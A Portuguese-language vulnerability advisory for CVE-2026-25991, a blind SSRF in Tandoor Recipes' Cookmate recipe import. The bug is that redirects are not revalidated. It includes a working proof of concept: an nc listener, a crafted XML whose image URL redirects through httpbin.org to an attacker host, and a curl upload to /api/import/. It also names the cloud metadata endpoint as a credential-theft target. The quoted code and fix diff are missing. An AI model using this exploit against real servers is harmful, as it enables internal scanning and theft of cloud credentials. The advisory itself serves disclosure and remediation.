CVE-2026-25991: SSRF Cego com Acesso à Rede Interna via Importação de Receitas

Resumo

Descobri uma vulnerabilidade de Server-Side Request Forgery (SSRF) Cego no recurso de importação de receitas Cookmate do Tandoor Recipes. A aplicação não valida a URL de destino após seguir redirecionamentos HTTP, permitindo que qualquer usuário autenticado (incluindo usuários padrão sem privilégios administrativos) force o servidor a se conectar a recursos internos ou externos arbitrários.

Esta vulnerabilidade pode ser explorada para escanear portas de rede interna, acessar metadados de instância em nuvem (por exemplo, AWS/GCP Metadata Service) ou divulgar o endereço IP real do servidor.

Detalhes

A vulnerabilidade está em cookbook/integration/cookmate.py, dentro da classe de integração Cookmate.

1. Lógica Inicial: Ao processar um arquivo XML importado, a aplicação extrai o campo imageurl.
2. Verificação Inicial: A URL é validada usando a função auxiliar validate_import_url (em cookbook/helper/HelperFunctions.py), que bloqueia corretamente faixas de IP privadas (por exemplo, 127.0.0.1, 10.0.0.0/8).
3. A Bypass (Código Vulnerável): No entanto, imediatamente após a validação, o código usa requests.get(url) para baixar a imagem. Por padrão, a biblioteca requests segue redirecionamentos (allow_redirects=True). A função validate_import_url verifica apenas a URL inicial, mas não valida o destino final após ocorrer um redirecionamento.

Trecho de Código Vulnerável (cookbook/integration/cookmate.py:73):

Um atacante pode usar um serviço externo (como httpbin.org) para redirecionar a solicitação para um endereço interno restrito (por exemplo, http://127.0.0.1:80/ ou http://169.254.169.254/).

Crucialmente, a AppImportView (cookbook/views/api.py) permite explicitamente permissões CustomIsUser, o que significa que QUALQUER usuário registrado pode acionar esta vulnerabilidade. Nenhum direito administrativo especial é necessário.

PoC (Prova de Conceito)

Pré-requisitos:

1. Uma conta de usuário padrão (não administrador) na instância Tandoor.
2. Python instalado localmente (ou qualquer ferramenta de escuta HTTP como nc).

Passos para Reproduzir:

1. Configure um listener (Máquina do Atacante): Abra um terminal e inicie o nc para escutar conexões de entrada. Isso simula um serviço interno ou servidor controlado pelo atacante.

   root@kitploit:~

   nc -lvnp 9999
   

2. Crie um Payload XML Malicioso: Crie um arquivo chamado payload.xml. Substitua <YOUR_IP> pelo seu endereço IP público (ou IP acessível). Este payload usa httpbin.org para contornar a verificação inicial de IP privado e redirecionar para o seu listener.

   root@kitploit:~

   <recipes>
     <recipe>
       <title>SSRF_PoC</title>
       <!-- Redireciona para serviço interno ou listener do atacante -->
       <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
     </recipe>
   </recipes>
   

3. Crie um arquivo ZIP: O Tandoor exige que o XML esteja dentro de um arquivo ZIP.

   root@kitploit:~

   zip payload.zip payload.xml
   

4. Execute o Exploit (via API): Faça login como Usuário Padrão (não administrador) para obter o cookie de sessão e o token CSRF. Em seguida, envie uma solicitação POST para /api/import/: (Substitua <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> pelos valores reais)

   root@kitploit:~

   curl -X POST 'http://<TARGET_URL>/api/import/' \
     -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
     -H 'X-CSRFToken: <CSRF_TOKEN>' \
     -F 'type=COOKMATE' \
     -F '[email protected]' \
     -F 'duplicates=true'
   

5. Verifique a Conexão: Verifique o terminal do seu listener (nc). Você verá uma solicitação HTTP GET de entrada do servidor Tandoor. Isso confirma que o servidor, agindo em nome de um usuário padrão, conectou-se a um recurso externo/interno arbitrário.
   root@kitploit:~

   GET /secret.txt HTTP/1.1
   Host: <YOUR_IP>:9999
   User-Agent: python-requests/2.x.x
   ...
   

Impacto

• Escaneamento de Rede Interna: Atacantes podem sondar portas internas para descobrir serviços em execução.
• Vazamento de Metadados em Nuvem: Se implantado em AWS/GCP/Azure, atacantes podem acessar os metadados da instância (por exemplo, http://169.254.169.254/latest/meta-data/) para roubar credenciais IAM, levando ao comprometimento total da infraestrutura.
• Severidade: Alta (CVSS ~8.0) porque requer privilégios baixos (usuário padrão) e pode levar a um impacto significativo (acesso a metadados/escaneamento interno).

Remediação

Desative o seguimento automático de redirecionamentos na chamada requests.get ou implemente validação rigorosa para URLs de redirecionamento.

Diff (Correção Proposta):